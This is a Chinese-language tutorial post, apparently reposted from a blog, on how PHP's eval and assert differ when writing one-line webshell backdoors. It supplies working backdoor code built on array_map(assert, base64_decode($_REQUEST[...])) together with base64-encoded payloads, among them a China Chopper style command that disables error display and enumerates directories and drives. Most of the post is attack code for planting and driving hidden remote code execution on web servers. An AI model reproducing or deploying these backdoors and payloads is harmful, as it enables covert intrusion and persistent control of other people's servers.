1. 程式人生 > >一句話後門中eval和assert的區別

一句話後門中eval和assert的區別

eval函式中引數是字元,如:
eval('echo 1;');
assert函式中引數為表示式 (或者為函式),如:
 assert(phpinfo()) 
assert(eval('echo 1;')); 直接傳遞普通程式碼是無法執行的,如:assert('echo 1;'); 下面這個程式碼執行不了: @array_map("eval",array('phpinfo();')); 肯定會錯: Warning: array_map() expects parameter 1 to be a valid callback, function 'eval' not found or invalid function name,提示array_map第一個引數需要是回撥函式 所以這個後門: @array_map(assert,(array)base64_decode($_REQUEST['xx'])); array_map第二個引數需要再鑲嵌一個assert, xx=YXNzZXJ0KCRfUkVRVUVTVFsnYWEnXSk= base64_decode($_REQUEST['xx'])   得到:  assert($_REQUEST['aa']) 其中aa為菜刀中post的資料
 aa=
@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
這樣,會構造出:assert(eval('執行程式碼')),這個為array_map的第二個引數, 最終將陣列中第二個引數回撥到第一個陣列,執行時程式碼為:assert(assert(eval('執行程式碼')) ) 另一個例子: $a=(array)base64_decode($_POST['a']); array_map(assert,$a); 這時候需要構造post引數為:
 a=ZXZhbCgnZWNobyAxOycp 

(eval('echo 1;'))